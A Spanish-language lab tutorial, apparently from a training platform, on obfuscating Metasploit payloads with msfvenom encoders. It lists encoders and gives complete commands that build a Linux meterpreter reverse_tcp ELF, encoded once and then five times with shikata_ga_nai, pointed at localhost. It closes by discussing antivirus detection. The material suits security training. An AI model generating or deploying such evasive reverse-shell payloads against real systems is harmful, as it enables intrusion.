Introducción
En el campo de la ciberseguridad, la ofuscación de payloads es una técnica crítica utilizada para evadir la detección por parte del software de seguridad. msfvenom, una herramienta potente dentro del Metasploit Framework, es un generador de payloads independiente que también se puede utilizar para codificar payloads, alterando su estructura para evitar la detección basada en firmas por parte de los sistemas antivirus (AV).
Un codificador aplica una serie de transformaciones al código original del payload, haciéndolo ilegible para los escáneres de firmas simples. Cuando se ejecuta el payload, primero se ejecuta un pequeño stub decodificador, que reconstruye el payload original en memoria y luego le transfiere la ejecución.
En este laboratorio, aprenderá los fundamentos del uso de los codificadores de msfvenom. Comenzará listando los codificadores disponibles, luego seleccionará uno popular para generar un payload codificado, aplicará múltiples iteraciones de codificación y, finalmente, discutirá la efectividad de esta técnica contra las soluciones de seguridad modernas.
Listar codificadores disponibles con msfvenom --list encoders
En este paso, comenzará listando todos los codificadores disponibles en msfvenom. Esto le dará una visión general de las diferentes opciones que tiene para ofuscar payloads.
Primero, debe asegurarse de que el Metasploit Framework, que incluye msfvenom, esté instalado. Ejecute los siguientes comandos para actualizar su lista de paquetes e instalarlo.
sudo apt-get update
sudo apt-get install -y metasploit-framework
Una vez completada la instalación, puede listar todos los codificadores disponibles utilizando la opción --list encoders con msfvenom. Este comando mostrará una tabla de codificadores con su rango, nombre y una breve descripción. El rango indica la fiabilidad y efectividad del codificador, siendo excellent el más alto.
Ejecute el siguiente comando en su terminal:
msfvenom --list encoders
Verá una larga lista de codificadores disponibles. La salida estará estructurada de la siguiente manera, mostrando el nombre, el rango y la descripción de cada uno.
Framework Encoders [--list encoders]
====================================
Name Rank Description
---- ---- -----------
cmd/brace low Bash Brace Expansion Command Encoder
cmd/echo good Echo Command Encoder
cmd/generic_sh manual Generic Shell Variable Substitution Command Encoder
cmd/ifs low Bourne ${IFS} Substitution Command Encoder
cmd/perl normal Perl Command Encoder
cmd/powershell_base64 excellent Powershell Base64 Command Encoder
cmd/sh_char_code manual Shell Char Code Substitution Command Encoder
...
x86/shikata_ga_nai excellent Polymorphic XOR Additive Feedback Encoder
...
x64/zutto normal Ruby based x64 encoder
Tómese un momento para desplazarse por la lista y ver la variedad de codificadores disponibles para diferentes arquitecturas y propósitos.
Seleccionar un codificador como x86/shikata_ga_nai
En este paso, aprenderá sobre uno de los codificadores más conocidos: x86/shikata_ga_nai. No hay ningún comando que ejecutar en este paso; el objetivo es comprender por qué se podría elegir un codificador específico.
De la lista que generó en el paso anterior, probablemente notó el codificador x86/shikata_ga_nai. Es famoso por varias razones:
- Rango: Tiene un rango
excellent, lo que significa que es muy fiable y es poco probable que corrompa el payload durante el proceso de codificación. - Polimorfismo: Es un codificador polimórfico. Esto significa que cambia su propio código de descifrado cada vez que se aplica. En teoría, esto hace que sea mucho más difícil para el software AV crear una firma estática para el stub decodificador.
- Amplio uso: Ha sido uno de los codificadores más populares y por defecto en Metasploit durante muchos años, lo que lo convierte en un ejemplo clásico para aprender sobre ofuscación.
Aunque su popularidad también ha llevado a que sea ampliamente identificado por los AV modernos (un tema que cubriremos más adelante), sigue siendo un ejemplo perfecto para demostrar el proceso de codificación. En el siguiente paso, utilizará este codificador para ofuscar un payload.
Generar un payload utilizando la bandera -e para especificar el codificador
En este paso, generará un payload y le aplicará el codificador x86/shikata_ga_nai. Utilizará la bandera -e para especificar el codificador elegido.
Crearemos un payload simple de Linux reverse TCP. Este payload intentará conectarse a una dirección IP y puerto especificados. Lo codificaremos y lo guardaremos como un archivo ELF (Executable and Linkable Format), que es el formato binario estándar para Linux.
La estructura del comando es la siguiente:
msfvenom -p <payload> LHOST=<ip> LPORT=<port> -e <encoder> -f <format> > <output_file>
-p: Especifica el payload. Usaremoslinux/x86/meterpreter/reverse_tcp.LHOSTyLPORT: Opciones requeridas por el payload para saber a dónde conectarse. Usaremos127.0.0.1(localhost) para este ejemplo.-e: Especifica el codificador. Usaremosx86/shikata_ga_nai.-f: Especifica el formato de salida. Usaremoself.>: Redirige la salida a un archivo.
Ahora, ejecute el siguiente comando en su terminal para generar el payload codificado y guardarlo como encoded_payload.elf:
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=127.0.0.1 LPORT=4444 -e x86/shikata_ga_nai -f elf > encoded_payload.elf
msfvenom procesará la solicitud y le mostrará información sobre el payload generado, incluido el tamaño final.
[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
[-] No arch selected, choosing x86 from the payload
Found 1 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 104 (iteration=0)
x86/shikata_ga_nai chosen with final size 104
Payload size: 104 bytes
Final size of elf file: 224 bytes
Ahora ha creado con éxito un archivo de payload codificado llamado encoded_payload.elf en su directorio actual (~/project). Puede verificar su creación con el comando ls -l.
ls -l
total 4
-rw-r--r-- 1 labex labex 224 May 20 10:30 encoded_payload.elf
Usar la bandera -i para aplicar múltiples iteraciones de codificación
En este paso, aprenderá cómo aplicar el codificador varias veces al mismo payload utilizando la bandera -i para iteraciones. La teoría es que múltiples capas de codificación harán que el payload sea aún más difícil de detectar.
Aunque esto suena efectivo, tiene sus inconvenientes. Cada iteración de codificación añade un nuevo stub decodificador, lo que aumenta el tamaño total del payload. Además, esto a veces puede crear un patrón repetitivo que el software de seguridad puede detectar.
Aplicaremos el codificador x86/shikata_ga_nai 5 veces al mismo payload. Guardaremos este nuevo payload como multi_encoded_payload.elf para compararlo con el anterior.
Utilice el siguiente comando, añadiendo la bandera -i 5:
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=127.0.0.1 LPORT=4444 -e x86/shikata_ga_nai -i 5 -f elf > multi_encoded_payload.elf
msfvenom aplicará ahora el codificador cinco veces. Observe la salida, que muestra cada iteración.
[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
[-] No arch selected, choosing x86 from the payload
Found 1 compatible encoders
Attempting to encode payload with 5 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 104 (iteration=0)
x86/shikata_ga_nai succeeded with size 131 (iteration=1)
x86/shikata_ga_nai succeeded with size 158 (iteration=2)
x86/shikata_ga_nai succeeded with size 185 (iteration=3)
x86/shikata_ga_nai succeeded with size 212 (iteration=4)
x86/shikata_ga_nai chosen with final size 212
Payload size: 212 bytes
Final size of elf file: 332 bytes
Ahora, use ls -l para comparar los tamaños de archivo de los payloads codificado una vez y codificado múltiples veces.
ls -l
total 8
-rw-r--r-- 1 labex labex 224 May 20 10:30 encoded_payload.elf
-rw-r--r-- 1 labex labex 332 May 20 10:35 multi_encoded_payload.elf
Como puede ver, multi_encoded_payload.elf es significativamente más grande que encoded_payload.elf debido al proceso de codificación repetido.
Discutir la efectividad de los codificadores contra AV modernos
En este paso final, discutiremos la efectividad en el mundo real de codificadores básicos como x86/shikata_ga_nai. Este paso es puramente conceptual y no hay comandos que ejecutar.
Si bien los codificadores fueron una vez un método muy efectivo para eludir el AV, su efectividad ha disminuido considerablemente frente a las soluciones de seguridad modernas como el antivirus de próxima generación (NGAV) y los sistemas de detección y respuesta de endpoints (EDR). He aquí por qué:
Firma del Decodificador: Los proveedores de seguridad conocen el funcionamiento de los codificadores populares. El stub decodificador para
shikata_ga_naies, en sí mismo, una firma bien conocida. Muchos productos AV marcarán un archivo simplemente porque contiene este decodificador, independientemente del payload que intente decodificar. Aplicar más iteraciones (bandera-i) a menudo hace que esta firma sea aún más obvia.Análisis Heurístico y de Comportamiento: Los AV modernos no se basan solo en firmas estáticas. Utilizan heurísticas para identificar características sospechosas (por ejemplo, un programa pequeño que intenta asignar memoria ejecutable) y análisis de comportamiento para monitorear lo que un programa hace cuando se ejecuta. Un payload codificado que se decodifica a sí mismo en memoria e intenta abrir una reverse shell es un comportamiento muy sospechoso que se detecta fácilmente.
Sandboxing y Emulación: Muchos productos de seguridad pueden ejecutar un archivo sospechoso en un entorno seguro y virtual (un sandbox) para observar su comportamiento antes de que se ejecute en el sistema real. En el sandbox, el AV puede permitir que el payload se decodifique a sí mismo y luego analizar el código malicioso original.
En conclusión, si bien comprender los codificadores de msfvenom es una habilidad fundamental, depender únicamente de ellos para la ofuscación no es una estrategia viable en entornos modernos. La evasión avanzada requiere técnicas más sofisticadas, como la creación de codificadores personalizados, el uso de packers y crypters, y la implementación de métodos que se dirijan específicamente a los motores de detección de comportamiento y los eludan.
Resumen
En este laboratorio, exploró los conceptos básicos de la ofuscación de payloads utilizando los codificadores de msfvenom.
Aprendió a:
- Listar todos los codificadores disponibles con
msfvenom --list encoders. - Seleccionar y comprender el propósito de un codificador polimórfico popular como
x86/shikata_ga_nai. - Generar un payload codificado utilizando la bandera
-e. - Aplicar múltiples iteraciones de codificación con la bandera
-iy observar el impacto en el tamaño del archivo. - Comprender las limitaciones de los codificadores básicos frente a las soluciones modernas de antivirus y EDR.
Este conocimiento proporciona una base sólida para comprender la generación de payloads y el juego del gato y el ratón de la detección y evasión de malware. Las técnicas que practicó son un punto de partida para explorar métodos de ofuscación más avanzados utilizados en pruebas de penetración profesionales.


